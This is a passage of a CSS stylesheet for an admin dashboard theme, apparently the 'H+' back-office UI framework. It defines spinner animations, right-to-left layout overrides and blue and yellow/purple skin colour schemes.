rotate(-360deg);\n    }\n}\n\n\n/*\n *  Usage:\n *\n *    <div class=\"sk-spinner sk-spinner-pulse\"></div>\n *\n */\n\n.sk-spinner-pulse.sk-spinner {\n    width: 40px;\n    height: 40px;\n    margin: 0 auto;\n    background-color: #1ab394;\n    border-radius: 100%;\n    -webkit-animation: sk-pulseScaleOut 1s infinite ease-in-out;\n    animation: sk-pulseScaleOut 1s infinite ease-in-out;\n}\n\n@-webkit-keyframes sk-pulseScaleOut {\n    0% {\n        -webkit-transform: scale(0);\n        transform: scale(0);\n    }\n    100% {\n        -webkit-transform: scale(1);\n        transform: scale(1);\n        opacity: 0;\n    }\n}\n\n@keyframes sk-pulseScaleOut {\n    0% {\n        -webkit-transform: scale(0);\n        transform: scale(0);\n    }\n    100% {\n        -webkit-transform: scale(1);\n        transform: scale(1);\n        opacity: 0;\n    }\n}\n\n\n/*\n *  Usage:\n *\n *    <div class=\"sk-spinner sk-spinner-chasing-dots\">\n *      <div class=\"sk-dot1\"></div>\n *      <div class=\"sk-dot2\"></div>\n *    </div>\n *\n */\n\n.sk-spinner-chasing-dots.sk-spinner {\n    margin: 0 auto;\n    width: 40px;\n    height: 40px;\n    position: relative;\n    text-align: center;\n    -webkit-animation: sk-chasingDotsRotate 2s infinite linear;\n    animation: sk-chasingDotsRotate 2s infinite linear;\n}\n\n.sk-spinner-chasing-dots .sk-dot1,\n.sk-spinner-chasing-dots .sk-dot2 {\n    width: 60%;\n    height: 60%;\n    display: inline-block;\n    position: absolute;\n    top: 0;\n    background-color: #1ab394;\n    border-radius: 100%;\n    -webkit-animation: sk-chasingDotsBounce 2s infinite ease-in-out;\n    animation: sk-chasingDotsBounce 2s infinite ease-in-out;\n}\n\n.sk-spinner-chasing-dots .sk-dot2 {\n    top: auto;\n    bottom: 0px;\n    -webkit-animation-delay: -1s;\n    animation-delay: -1s;\n}\n\n@-webkit-keyframes sk-chasingDotsRotate {\n    100% {\n        -webkit-transform: rotate(360deg);\n        transform: rotate(360deg);\n    }\n}\n\n@keyframes sk-chasingDotsRotate {\n    100% {\n        -webkit-transform: rotate(360deg);\n        transform: rotate(360deg);\n    }\n}\n\n@-webkit-keyframes sk-chasingDotsBounce {\n    0%,\n    100% {\n        -webkit-transform: scale(0);\n        transform: scale(0);\n    }\n    50% {\n        -webkit-transform: scale(1);\n        transform: scale(1);\n    }\n}\n\n@keyframes sk-chasingDotsBounce {\n    0%,\n    100% {\n        -webkit-transform: scale(0);\n        transform: scale(0);\n    }\n    50% {\n        -webkit-transform: scale(1);\n        transform: scale(1);\n    }\n}\n\n\n/*\n *  Usage:\n *\n *    <div class=\"sk-spinner sk-spinner-three-bounce\">\n *      <div class=\"sk-bounce1\"></div>\n *      <div class=\"sk-bounce2\"></div>\n *      <div class=\"sk-bounce3\"></div>\n *    </div>\n *\n */\n\n.sk-spinner-three-bounce.sk-spinner {\n    margin: 0 auto;\n    width: 70px;\n    text-align: center;\n}\n\n.sk-spinner-three-bounce div {\n    width: 18px;\n    height: 18px;\n    background-color: #1ab394;\n    border-radius: 100%;\n    display: inline-block;\n    -webkit-animation: sk-threeBounceDelay 1.4s infinite ease-in-out;\n    animation: sk-threeBounceDelay 1.4s infinite ease-in-out;\n    /* Prevent first frame from flickering when animation starts */\n    -webkit-animation-fill-mode: both;\n    animation-fill-mode: both;\n}\n\n.sk-spinner-three-bounce .sk-bounce1 {\n    -webkit-animation-delay: -0.32s;\n    animation-delay: -0.32s;\n}\n\n.sk-spinner-three-bounce .sk-bounce2 {\n    -webkit-animation-delay: -0.16s;\n    animation-delay: -0.16s;\n}\n\n@-webkit-keyframes sk-threeBounceDelay {\n    0%,\n    80%,\n    100% {\n        -webkit-transform: scale(0);\n        transform: scale(0);\n    }\n    40% {\n        -webkit-transform: scale(1);\n        transform: scale(1);\n    }\n}\n\n@keyframes sk-threeBounceDelay {\n    0%,\n    80%,\n    100% {\n        -webkit-transform: scale(0);\n        transform: scale(0);\n    }\n    40% {\n        -webkit-transform: scale(1);\n        transform: scale(1);\n    }\n}\n\n\n/*\n *  Usage:\n *\n *    <div class=\"sk-spinner sk-spinner-circle\">\n *      <div class=\"sk-circle1 sk-circle\"></div>\n *      <div class=\"sk-circle2 sk-circle\"></div>\n *      <div class=\"sk-circle3 sk-circle\"></div>\n *      <div class=\"sk-circle4 sk-circle\"></div>\n *      <div class=\"sk-circle5 sk-circle\"></div>\n *      <div class=\"sk-circle6 sk-circle\"></div>\n *      <div class=\"sk-circle7 sk-circle\"></div>\n *      <div class=\"sk-circle8 sk-circle\"></div>\n *      <div class=\"sk-circle9 sk-circle\"></div>\n *      <div class=\"sk-circle10 sk-circle\"></div>\n *      <div class=\"sk-circle11 sk-circle\"></div>\n *      <div class=\"sk-circle12 sk-circle\"></div>\n *    </div>\n *\n */\n\n.sk-spinner-circle.sk-spinner {\n    margin: 0 auto;\n    width: 22px;\n    height: 22px;\n    position: relative;\n}\n\n.sk-spinner-circle .sk-circle {\n    width: 100%;\n    height: 100%;\n    position: absolute;\n    left: 0;\n    top: 0;\n}\n\n.sk-spinner-circle .sk-circle:before {\n    content: '';\n    display: block;\n    margin: 0 auto;\n    width: 20%;\n    height: 20%;\n    background-color: #1ab394;\n    border-radius: 100%;\n    -webkit-animation: sk-circleBounceDelay 1.2s infinite ease-in-out;\n    animation: sk-circleBounceDelay 1.2s infinite ease-in-out;\n    /* Prevent first frame from flickering when animation starts */\n    -webkit-animation-fill-mode: both;\n    animation-fill-mode: both;\n}\n\n.sk-spinner-circle .sk-circle2 {\n    -webkit-transform: rotate(30deg);\n    -ms-transform: rotate(30deg);\n    transform: rotate(30deg);\n}\n\n.sk-spinner-circle .sk-circle3 {\n    -webkit-transform: rotate(60deg);\n    -ms-transform: rotate(60deg);\n    transform: rotate(60deg);\n}\n\n.sk-spinner-circle .sk-circle4 {\n    -webkit-transform: rotate(90deg);\n    -ms-transform: rotate(90deg);\n    transform: rotate(90deg);\n}\n\n.sk-spinner-circle .sk-circle5 {\n    -webkit-transform: rotate(120deg);\n    -ms-transform: rotate(120deg);\n    transform: rotate(120deg);\n}\n\n.sk-spinner-circle .sk-circle6 {\n    -webkit-transform: rotate(150deg);\n    -ms-transform: rotate(150deg);\n    transform: rotate(150deg);\n}\n\n.sk-spinner-circle .sk-circle7 {\n    -webkit-transform: rotate(180deg);\n    -ms-transform: rotate(180deg);\n    transform: rotate(180deg);\n}\n\n.sk-spinner-circle .sk-circle8 {\n    -webkit-transform: rotate(210deg);\n    -ms-transform: rotate(210deg);\n    transform: rotate(210deg);\n}\n\n.sk-spinner-circle .sk-circle9 {\n    -webkit-transform: rotate(240deg);\n    -ms-transform: rotate(240deg);\n    transform: rotate(240deg);\n}\n\n.sk-spinner-circle .sk-circle10 {\n    -webkit-transform: rotate(270deg);\n    -ms-transform: rotate(270deg);\n    transform: rotate(270deg);\n}\n\n.sk-spinner-circle .sk-circle11 {\n    -webkit-transform: rotate(300deg);\n    -ms-transform: rotate(300deg);\n    transform: rotate(300deg);\n}\n\n.sk-spinner-circle .sk-circle12 {\n    -webkit-transform: rotate(330deg);\n    -ms-transform: rotate(330deg);\n    transform: rotate(330deg);\n}\n\n.sk-spinner-circle .sk-circle2:before {\n    -webkit-animation-delay: -1.1s;\n    animation-delay: -1.1s;\n}\n\n.sk-spinner-circle .sk-circle3:before {\n    -webkit-animation-delay: -1s;\n    animation-delay: -1s;\n}\n\n.sk-spinner-circle .sk-circle4:before {\n    -webkit-animation-delay: -0.9s;\n    animation-delay: -0.9s;\n}\n\n.sk-spinner-circle .sk-circle5:before {\n    -webkit-animation-delay: -0.8s;\n    animation-delay: -0.8s;\n}\n\n.sk-spinner-circle .sk-circle6:before {\n    -webkit-animation-delay: -0.7s;\n    animation-delay: -0.7s;\n}\n\n.sk-spinner-circle .sk-circle7:before {\n    -webkit-animation-delay: -0.6s;\n    animation-delay: -0.6s;\n}\n\n.sk-spinner-circle .sk-circle8:before {\n    -webkit-animation-delay: -0.5s;\n    animation-delay: -0.5s;\n}\n\n.sk-spinner-circle .sk-circle9:before {\n    -webkit-animation-delay: -0.4s;\n    animation-delay: -0.4s;\n}\n\n.sk-spinner-circle .sk-circle10:before {\n    -webkit-animation-delay: -0.3s;\n    animation-delay: -0.3s;\n}\n\n.sk-spinner-circle .sk-circle11:before {\n    -webkit-animation-delay: -0.2s;\n    animation-delay: -0.2s;\n}\n\n.sk-spinner-circle .sk-circle12:before {\n    -webkit-animation-delay: -0.1s;\n    animation-delay: -0.1s;\n}\n\n@-webkit-keyframes sk-circleBounceDelay {\n    0%,\n    80%,\n    100% {\n        -webkit-transform: scale(0);\n        transform: scale(0);\n    }\n    40% {\n        -webkit-transform: scale(1);\n        transform: scale(1);\n    }\n}\n\n@keyframes sk-circleBounceDelay {\n    0%,\n    80%,\n    100% {\n        -webkit-transform: scale(0);\n        transform: scale(0);\n    }\n    40% {\n        -webkit-transform: scale(1);\n        transform: scale(1);\n    }\n}\n\n\n/*\n *  Usage:\n *\n *    <div class=\"sk-spinner sk-spinner-cube-grid\">\n *      <div class=\"sk-cube\"></div>\n *      <div class=\"sk-cube\"></div>\n *      <div class=\"sk-cube\"></div>\n *      <div class=\"sk-cube\"></div>\n *      <div class=\"sk-cube\"></div>\n *      <div class=\"sk-cube\"></div>\n *      <div class=\"sk-cube\"></div>\n *      <div class=\"sk-cube\"></div>\n *      <div class=\"sk-cube\"></div>\n *    </div>\n *\n */\n\n.sk-spinner-cube-grid {\n    /*\n   * Spinner positions\n   * 1 2 3\n   * 4 5 6\n   * 7 8 9\n   */\n}\n\n.sk-spinner-cube-grid.sk-spinner {\n    width: 30px;\n    height: 30px;\n    margin: 0 auto;\n}\n\n.sk-spinner-cube-grid .sk-cube {\n    width: 33%;\n    height: 33%;\n    background-color: #1ab394;\n    float: left;\n    -webkit-animation: sk-cubeGridScaleDelay 1.3s infinite ease-in-out;\n    animation: sk-cubeGridScaleDelay 1.3s infinite ease-in-out;\n}\n\n.sk-spinner-cube-grid .sk-cube:nth-child(1) {\n    -webkit-animation-delay: 0.2s;\n    animation-delay: 0.2s;\n}\n\n.sk-spinner-cube-grid .sk-cube:nth-child(2) {\n    -webkit-animation-delay: 0.3s;\n    animation-delay: 0.3s;\n}\n\n.sk-spinner-cube-grid .sk-cube:nth-child(3) {\n    -webkit-animation-delay: 0.4s;\n    animation-delay: 0.4s;\n}\n\n.sk-spinner-cube-grid .sk-cube:nth-child(4) {\n    -webkit-animation-delay: 0.1s;\n    animation-delay: 0.1s;\n}\n\n.sk-spinner-cube-grid .sk-cube:nth-child(5) {\n    -webkit-animation-delay: 0.2s;\n    animation-delay: 0.2s;\n}\n\n.sk-spinner-cube-grid .sk-cube:nth-child(6) {\n    -webkit-animation-delay: 0.3s;\n    animation-delay: 0.3s;\n}\n\n.sk-spinner-cube-grid .sk-cube:nth-child(7) {\n    -webkit-animation-delay: 0s;\n    animation-delay: 0s;\n}\n\n.sk-spinner-cube-grid .sk-cube:nth-child(8) {\n    -webkit-animation-delay: 0.1s;\n    animation-delay: 0.1s;\n}\n\n.sk-spinner-cube-grid .sk-cube:nth-child(9) {\n    -webkit-animation-delay: 0.2s;\n    animation-delay: 0.2s;\n}\n\n@-webkit-keyframes sk-cubeGridScaleDelay {\n    0%,\n    70%,\n    100% {\n        -webkit-transform: scale3D(1, 1, 1);\n        transform: scale3D(1, 1, 1);\n    }\n    35% {\n        -webkit-transform: scale3D(0, 0, 1);\n        transform: scale3D(0, 0, 1);\n    }\n}\n\n@keyframes sk-cubeGridScaleDelay {\n    0%,\n    70%,\n    100% {\n        -webkit-transform: scale3D(1, 1, 1);\n        transform: scale3D(1, 1, 1);\n    }\n    35% {\n        -webkit-transform: scale3D(0, 0, 1);\n        transform: scale3D(0, 0, 1);\n    }\n}\n\n\n/*\n *  Usage:\n *\n *    <div class=\"sk-spinner sk-spinner-wordpress\">\n *      <span class=\"sk-inner-circle\"></span>\n *    </div>\n *\n */\n\n.sk-spinner-wordpress.sk-spinner {\n    background-color: #1ab394;\n    width: 30px;\n    height: 30px;\n    border-radius: 30px;\n    position: relative;\n    margin: 0 auto;\n    -webkit-animation: sk-innerCircle 1s linear infinite;\n    animation: sk-innerCircle 1s linear infinite;\n}\n\n.sk-spinner-wordpress .sk-inner-circle {\n    display: block;\n    background-color: #fff;\n    width: 8px;\n    height: 8px;\n    position: absolute;\n    border-radius: 8px;\n    top: 5px;\n    left: 5px;\n}\n\n@-webkit-keyframes sk-innerCircle {\n    0% {\n        -webkit-transform: rotate(0);\n        transform: rotate(0);\n    }\n    100% {\n        -webkit-transform: rotate(360deg);\n        transform: rotate(360deg);\n    }\n}\n\n@keyframes sk-innerCircle {\n    0% {\n        -webkit-transform: rotate(0);\n        transform: rotate(0);\n    }\n    100% {\n        -webkit-transform: rotate(360deg);\n        transform: rotate(360deg);\n    }\n}\n\n\n/*\n *  Usage:\n *\n *    <div class=\"sk-spinner sk-spinner-fading-circle\">\n *      <div class=\"sk-circle1 sk-circle\"></div>\n *      <div class=\"sk-circle2 sk-circle\"></div>\n *      <div class=\"sk-circle3 sk-circle\"></div>\n *      <div class=\"sk-circle4 sk-circle\"></div>\n *      <div class=\"sk-circle5 sk-circle\"></div>\n *      <div class=\"sk-circle6 sk-circle\"></div>\n *      <div class=\"sk-circle7 sk-circle\"></div>\n *      <div class=\"sk-circle8 sk-circle\"></div>\n *      <div class=\"sk-circle9 sk-circle\"></div>\n *      <div class=\"sk-circle10 sk-circle\"></div>\n *      <div class=\"sk-circle11 sk-circle\"></div>\n *      <div class=\"sk-circle12 sk-circle\"></div>\n *    </div>\n *\n */\n\n.sk-spinner-fading-circle.sk-spinner {\n    margin: 0 auto;\n    width: 22px;\n    height: 22px;\n    position: relative;\n}\n\n.sk-spinner-fading-circle .sk-circle {\n    width: 100%;\n    height: 100%;\n    position: absolute;\n    left: 0;\n    top: 0;\n}\n\n.sk-spinner-fading-circle .sk-circle:before {\n    content: '';\n    display: block;\n    margin: 0 auto;\n    width: 18%;\n    height: 18%;\n    background-color: #1ab394;\n    border-radius: 100%;\n    -webkit-animation: sk-circleFadeDelay 1.2s infinite ease-in-out;\n    animation: sk-circleFadeDelay 1.2s infinite ease-in-out;\n    /* Prevent first frame from flickering when animation starts */\n    -webkit-animation-fill-mode: both;\n    animation-fill-mode: both;\n}\n\n.sk-spinner-fading-circle .sk-circle2 {\n    -webkit-transform: rotate(30deg);\n    -ms-transform: rotate(30deg);\n    transform: rotate(30deg);\n}\n\n.sk-spinner-fading-circle .sk-circle3 {\n    -webkit-transform: rotate(60deg);\n    -ms-transform: rotate(60deg);\n    transform: rotate(60deg);\n}\n\n.sk-spinner-fading-circle .sk-circle4 {\n    -webkit-transform: rotate(90deg);\n    -ms-transform: rotate(90deg);\n    transform: rotate(90deg);\n}\n\n.sk-spinner-fading-circle .sk-circle5 {\n    -webkit-transform: rotate(120deg);\n    -ms-transform: rotate(120deg);\n    transform: rotate(120deg);\n}\n\n.sk-spinner-fading-circle .sk-circle6 {\n    -webkit-transform: rotate(150deg);\n    -ms-transform: rotate(150deg);\n    transform: rotate(150deg);\n}\n\n.sk-spinner-fading-circle .sk-circle7 {\n    -webkit-transform: rotate(180deg);\n    -ms-transform: rotate(180deg);\n    transform: rotate(180deg);\n}\n\n.sk-spinner-fading-circle .sk-circle8 {\n    -webkit-transform: rotate(210deg);\n    -ms-transform: rotate(210deg);\n    transform: rotate(210deg);\n}\n\n.sk-spinner-fading-circle .sk-circle9 {\n    -webkit-transform: rotate(240deg);\n    -ms-transform: rotate(240deg);\n    transform: rotate(240deg);\n}\n\n.sk-spinner-fading-circle .sk-circle10 {\n    -webkit-transform: rotate(270deg);\n    -ms-transform: rotate(270deg);\n    transform: rotate(270deg);\n}\n\n.sk-spinner-fading-circle .sk-circle11 {\n    -webkit-transform: rotate(300deg);\n    -ms-transform: rotate(300deg);\n    transform: rotate(300deg);\n}\n\n.sk-spinner-fading-circle .sk-circle12 {\n    -webkit-transform: rotate(330deg);\n    -ms-transform: rotate(330deg);\n    transform: rotate(330deg);\n}\n\n.sk-spinner-fading-circle .sk-circle2:before {\n    -webkit-animation-delay: -1.1s;\n    animation-delay: -1.1s;\n}\n\n.sk-spinner-fading-circle .sk-circle3:before {\n    -webkit-animation-delay: -1s;\n    animation-delay: -1s;\n}\n\n.sk-spinner-fading-circle .sk-circle4:before {\n    -webkit-animation-delay: -0.9s;\n    animation-delay: -0.9s;\n}\n\n.sk-spinner-fading-circle .sk-circle5:before {\n    -webkit-animation-delay: -0.8s;\n    animation-delay: -0.8s;\n}\n\n.sk-spinner-fading-circle .sk-circle6:before {\n    -webkit-animation-delay: -0.7s;\n    animation-delay: -0.7s;\n}\n\n.sk-spinner-fading-circle .sk-circle7:before {\n    -webkit-animation-delay: -0.6s;\n    animation-delay: -0.6s;\n}\n\n.sk-spinner-fading-circle .sk-circle8:before {\n    -webkit-animation-delay: -0.5s;\n    animation-delay: -0.5s;\n}\n\n.sk-spinner-fading-circle .sk-circle9:before {\n    -webkit-animation-delay: -0.4s;\n    animation-delay: -0.4s;\n}\n\n.sk-spinner-fading-circle .sk-circle10:before {\n    -webkit-animation-delay: -0.3s;\n    animation-delay: -0.3s;\n}\n\n.sk-spinner-fading-circle .sk-circle11:before {\n    -webkit-animation-delay: -0.2s;\n    animation-delay: -0.2s;\n}\n\n.sk-spinner-fading-circle .sk-circle12:before {\n    -webkit-animation-delay: -0.1s;\n    animation-delay: -0.1s;\n}\n\n@-webkit-keyframes sk-circleFadeDelay {\n    0%,\n    39%,\n    100% {\n        opacity: 0;\n    }\n    40% {\n        opacity: 1;\n    }\n}\n\n@keyframes sk-circleFadeDelay {\n    0%,\n    39%,\n    100% {\n        opacity: 0;\n    }\n    40% {\n        opacity: 1;\n    }\n}\n\nbody.rtls {\n    /* Theme config */\n}\n\nbody.rtls #page-wrapper {\n    margin: 0 220px 0 0;\n}\n\nbody.rtls .nav-second-level li a {\n    padding: 7px 35px 7px 10px;\n}\n\nbody.rtls .ibox-title h5 {\n    float: right;\n}\n\nbody.rtls .pull-right {\n    float: left !important;\n}\n\nbody.rtls .pull-left {\n    float: right !important;\n}\n\nbody.rtls .ibox-tools {\n    float: left;\n}\n\nbody.rtls .stat-percent {\n    float: left;\n}\n\nbody.rtls .navbar-right {\n    float: left !important;\n}\n\nbody.rtls .navbar-top-links li:last-child {\n    margin-left: 40px;\n    margin-right: 0;\n}\n\nbody.rtls .minimalize-styl-2 {\n    float: right;\n    margin: 14px 20px 5px 5px;\n}\n\nbody.rtls .feed-element > .pull-left {\n    margin-left: 10px;\n    margin-right: 0;\n}\n\nbody.rtls .timeline-item .date {\n    text-align: left;\n}\n\nbody.rtls .timeline-item .date i {\n    left: 0;\n    right: auto;\n}\n\nbody.rtls .timeline-item .content {\n    border-right: 1px solid #e7eaec;\n    border-left: none;\n}\n\nbody.rtls .toast-close-button {\n    float: left;\n}\n\nbody.rtls #toast-container > .toast:before {\n    margin: auto -1.5em auto 0.5em;\n}\n\nbody.rtls #toast-container > div {\n    padding: 15px 50px 15px 15px;\n}\n\nbody.rtls .center-orientation .vertical-timeline-icon i {\n    margin-left: 0;\n    margin-right: -12px;\n}\n\nbody.rtls .vertical-timeline-icon i {\n    right: 50%;\n    left: auto;\n    margin-left: auto;\n    margin-right: -12px;\n}\n\nbody.rtls .file-box {\n    float: right;\n}\n\nbody.rtls ul.notes li {\n    float: right;\n}\n\nbody.rtls .chat-users,\nbody.rtls .chat-statistic {\n    margin-right: -30px;\n    margin-left: auto;\n}\n\nbody.rtls .dropdown-menu > li > a {\n    text-align: right;\n}\n\nbody.rtls .b-r {\n    border-left: 1px solid #e7eaec;\n    border-right: none;\n}\n\nbody.rtls .dd-list .dd-list {\n    padding-right: 30px;\n    padding-left: 0;\n}\n\nbody.rtls .dd-item > button {\n    float: right;\n}\n\nbody.rtls .skin-setttings {\n    margin-right: 40px;\n    margin-left: 0;\n}\n\nbody.rtls .skin-setttings {\n    direction: ltr;\n}\n\nbody.rtls .footer.fixed {\n    margin-right: 220px;\n    margin-left: 0;\n}\n\n@media (max-width: 992px) {\n    body.rtls .chat-users,\n    body.rtls .chat-statistic {\n        margin-right: 0px;\n    }\n}\n\nbody.rtls.mini-navbar .footer.fixed,\nbody.body-small.mini-navbar .footer.fixed {\n    margin: 0 70px 0 0;\n}\n\nbody.rtls.mini-navbar.fixed-sidebar .footer.fixed,\nbody.body-small.mini-navbar .footer.fixed {\n    margin: 0 0 0 0;\n}\n\nbody.rtls.top-navigation .navbar-toggle {\n    float: right;\n    margin-left: 15px;\n    margin-right: 15px;\n}\n\n.body-small.rtls.top-navigation .navbar-header {\n    float: none;\n}\n\nbody.rtls.top-navigation #page-wrapper {\n    margin: 0;\n}\n\nbody.rtls.mini-navbar #page-wrapper {\n    margin: 0 70px 0 0;\n}\n\nbody.rtls.mini-navbar.fixed-sidebar #page-wrapper {\n    margin: 0 0 0 0;\n}\n\nbody.rtls.body-small.fixed-sidebar.mini-navbar #page-wrapper {\n    margin: 0 220px 0 0;\n}\n\nbody.rtls.body-small.fixed-sidebar.mini-navbar .navbar-static-side {\n    width: 220px;\n}\n\n.body-small.rtls .navbar-fixed-top {\n    margin-right: 0px;\n}\n\n.body-small.rtls .navbar-header {\n    float: right;\n}\n\nbody.rtls .navbar-top-links li:last-child {\n    margin-left: 20px;\n}\n\nbody.rtls .top-navigation #page-wrapper,\nbody.rtls.mini-navbar .top-navigation #page-wrapper,\nbody.rtls.mini-navbar.top-navigation #page-wrapper {\n    margin: 0;\n}\n\nbody.rtls .top-navigation .footer.fixed,\nbody.rtls.top-navigation .footer.fixed {\n    margin: 0;\n}\n\n@media (max-width: 768px) {\n    body.rtls .navbar-top-links li:last-child {\n        margin-left: 20px;\n    }\n    .body-small.rtls #page-wrapper {\n        position: inherit;\n        margin: 0 0 0 0px;\n        min-height: 1000px;\n    }\n    .body-small.rtls .navbar-static-side {\n        display: none;\n        z-index: 2001;\n        position: absolute;\n        width: 70px;\n    }\n    .body-small.rtls.mini-navbar .navbar-static-side {\n        display: block;\n    }\n    .rtls.fixed-sidebar.body-small .navbar-static-side {\n        display: none;\n        z-index: 2001;\n        position: fixed;\n        width: 220px;\n    }\n    .rtls.fixed-sidebar.body-small.mini-navbar .navbar-static-side {\n        display: block;\n    }\n}\n\n.rtls .ltr-support {\n    direction: ltr;\n}\n\n\n/*\n *\n *   This is style for skin config\n *   Use only in demo theme\n *\n*/\n\n.skin-setttings .title {\n    background: #efefef;\n    text-align: center;\n    text-transform: uppercase;\n    font-weight: 600;\n    display: block;\n    padding: 10px 15px;\n    font-size: 12px;\n}\n\n.setings-item {\n    padding: 10px 30px;\n}\n\n.setings-item.nb {\n    border: none;\n}\n\n.setings-item.skin {\n    text-align: center;\n}\n\n.setings-item .switch {\n    float: right;\n}\n\n.skin-name a {\n    text-transform: uppercase;\n}\n\n.setings-item a {\n    color: #fff;\n}\n\n.default-skin,\n.blue-skin,\n.ultra-skin,\n.yellow-skin {\n    text-align: center;\n}\n\n.default-skin {\n    font-weight: 600;\n    background: #1ab394;\n}\n\n.default-skin:hover {\n    background: #199d82;\n}\n\n.blue-skin {\n    font-weight: 600;\n    background: url(\"patterns/header-profile-skin-1.png\") repeat scroll 0 0;\n}\n\n.blue-skin:hover {\n    background: #0d8ddb;\n}\n\n.yellow-skin {\n    font-weight: 600;\n    background: url(\"patterns/header-profile-skin-3.png\") repeat scroll 0 100%;\n}\n\n.yellow-skin:hover {\n    background: #ce8735;\n}\n\n.content-tabs {\n    border-bottom: solid 2px #2f4050;\n}\n\n.page-tabs a {\n    color: #999;\n}\n\n.page-tabs a i {\n    color: #ccc;\n}\n\n.page-tabs a.active {\n    background: #2f4050;\n    color: #a7b1c2;\n}\n\n.page-tabs a.active:hover,\n.page-tabs a.active i:hover {\n    background: #293846;\n    color: #fff;\n}\n\n\n/*\n *\n *   SKIN 1 - H+ - 后台主题UI框架\n *   NAME - Blue light\n *\n*/\n\n.skin-1 .minimalize-styl-2 {\n    margin: 14px 5px 5px 30px;\n}\n\n.skin-1 .navbar-top-links li:last-child {\n    margin-right: 30px;\n}\n\n.skin-1.fixed-nav .minimalize-styl-2 {\n    margin: 14px 5px 5px 15px;\n}\n\n.skin-1 .spin-icon {\n    background: #0e9aef !important;\n}\n\n.skin-1 .nav-header {\n    background: #0e9aef;\n    background: url('patterns/header-profile-skin-1.png');\n}\n\n.skin-1.mini-navbar .nav-second-level {\n    background: #3e495f;\n}\n\n.skin-1 .breadcrumb {\n    background: transparent;\n}\n\n.skin-1 .page-heading {\n    border: none;\n}\n\n.skin-1 .nav > li.active {\n    background: #3a4459;\n}\n\n.skin-1 .nav > li > a {\n    color: #9ea6b9;\n}\n\n.skin-1 .nav > li.active > a {\n    color: #fff;\n}\n\n.skin-1 .navbar-minimalize {\n    background: #0e9aef;\n    border-color: #0e9aef;\n}\n\nbody.skin-1 {\n    background: #3e495f;\n}\n\n.skin-1 .navbar-static-top {\n    background: #ffffff;\n}\n\n.skin-1 .dashboard-header {\n    background: transparent;\n    border-bottom: none !important;\n    border-top: none;\n    padding: 20px 30px 10px 30px;\n}\n\n.fixed-nav.skin-1 .navbar-fixed-top {\n    background: #fff;\n}\n\n.skin-1 .wrapper-content {\n    padding: 30px 15px;\n}\n\n.skin-1 #page-wrapper {\n    background: #f4f6fa;\n}\n\n.skin-1 .ibox-title,\n.skin-1 .ibox-content {\n    border-width: 1px;\n}\n\n.skin-1 .ibox-content:last-child {\n    border-style: solid solid solid solid;\n}\n\n.skin-1 .nav > li.active {\n    border: none;\n}\n\n.skin-1 .nav-header {\n    padding: 35px 25px 25px 25px;\n}\n\n.skin-1 .nav-header a.dropdown-toggle {\n    color: #fff;\n    margin-top: 10px;\n}\n\n.skin-1 .nav-header a.dropdown-toggle .text-muted {\n    color: #fff;\n    opacity: 0.8;\n}\n\n.skin-1 .profile-element {\n    text-align: center;\n}\n\n.skin-1 .img-circle {\n    border-radius: 5px;\n}\n\n.skin-1 .navbar-default .nav > li > a:hover,\n.skin-1 .navbar-default .nav > li > a:focus {\n    background: #39aef5;\n    color: #fff;\n}\n\n.skin-1 .nav.nav-tabs > li.active > a {\n    color: #555;\n}\n\n.skin-1 .content-tabs {\n    border-bottom: solid 2px #39aef5;\n}\n\n.skin-1 .nav.nav-tabs > li.active {\n    background: transparent;\n}\n\n.skin-1 .page-tabs a.active {\n    background: #39aef5;\n    color: #fff;\n}\n\n.skin-1 .page-tabs a.active:hover,\n.skin-1 .page-tabs a.active i:hover {\n    background: #0e9aef;\n    color: #fff;\n}\n\n\n/*\n *\n *   SKIN 3 - H+ - 后台主题UI框架\n *   NAME - Yellow/purple\n *\n*/\n\n.skin-3 .minimalize-styl-2 {\n    margin: 14px 5px 5px 30px;\n}\n\n.skin-3 .navbar-top-links li:last-child {\n    margin-right: 30px;\n}\n\n.skin-3.fixed-nav .minimalize-styl-2 {\n    margin: 14px 5px 5px 15px;\n}\n\n.skin-3 .spin-icon {\n    background: #ecba52 !important;\n}\n\nbody.boxed-layout.skin-3 #wrapper {\n    background: #3e2c42;\n}\n\n.skin-3 .nav-header {\n    background: #ecba52;\n    background: url('patterns/header-profile-skin-3.png');\n}\n\n.skin-3.mini-navbar .nav-second-level {\n    background: #3e2c42;\n}\n\n.skin-3 .breadcrumb {\n    background: transparent;\n}\n\n.skin-3 .page-heading {\n    border: none;\n}\n\n.skin-3 .nav > li.active {\n    background: #38283c;\n}\n\n.fixed-nav.skin-3 .navbar-fixed-top {\n    background: #fff;\n}\n\n.skin-3 .nav > li > a {\n    color: #948b96;\n}\n\n.skin-3 .nav > li.active > a {\n    color: #fff;\n}\n\n.skin-3 .navbar-minimalize {\n    background: #ecba52;\n    border-color: #ecba52;\n}\n\nbody.skin-3 {\n    background: #3e2c42;\n}\n\n.skin-3 .navbar-static-top {\n    background: #ffffff;\n}\n\n.skin-3 .dashboard-header {\n    background: transparent;\n    border-bottom: none !important;\n    border-top: none;\n    padding: 20px 30px 10px 30px;\n}\n\n.skin-3 .wrapper-content {\n    padding: 30px 15px;\n}\n\n.skin-3 #page-wrapper {\n    background: #f4f6fa;\n}\n\n.skin-3 .ibox-title,\n.skin-3 .ibox-content {\n    border-width: 1px;\n}\n\n.skin-3 .ibox-content:last-child {\n    border-style: solid solid solid solid;\n}\n\n.skin-3 .nav > li.active {\n    border: none;\n}\n\n.skin-3 .nav-header {\n    padding: 35px 25px 25px 25px;\n}\n\n.skin-3 .nav-header a.dropdown-toggle {\n    color: #fff;\n    margin-top: 10px;\n}\n\n.skin-3 .nav-header a.dropdown-toggle .text-muted {\n    color: #fff;\n    opacity: 0.8;\n}\n\n.skin-3 .profile-element {\n    text-align: center;\n}\n\n.skin-3 .img-circle {\n    border-radius: 5px;\n}\n\n.skin-3 .navbar-default .nav > li > a:hover,\n.skin-3 .navbar-default .nav > li > a:focus {\n    background: #38283c;\n    color: #fff;\n}\n\n.skin-3 .nav.nav-tabs > li.active > a {\n    color: #555;\n}\n\n.skin-3 .nav.nav-tabs > li.active {\n    background: transparent;\n}\n\n.skin-3 .content-tabs {\n    border-bottom: solid 2px #3e2c42;\n}\n\n.skin-3 .nav.nav-tabs > li.active {\n    background: transparent;\n}\n\n.skin-3 .page-tabs a.active {\n    background: #3e2c42;\n    color: #fff;\n}\n\n.skin-3 .page-tabs a.active:hover,\n.skin-3 .page-tabs a.active i:hover {\n    background: #38283c;\n    color: #fff;\n}\n\n@media (min-width: 768px) {\n    .navbar-top-links .dropdown-messages,\n    .navbar-top-links .dropdown-tasks,\n    .navbar-top-links .dropdown-alerts {\n        margin-left: auto;\n    }\n}\n\n@media (max-width: 768px) 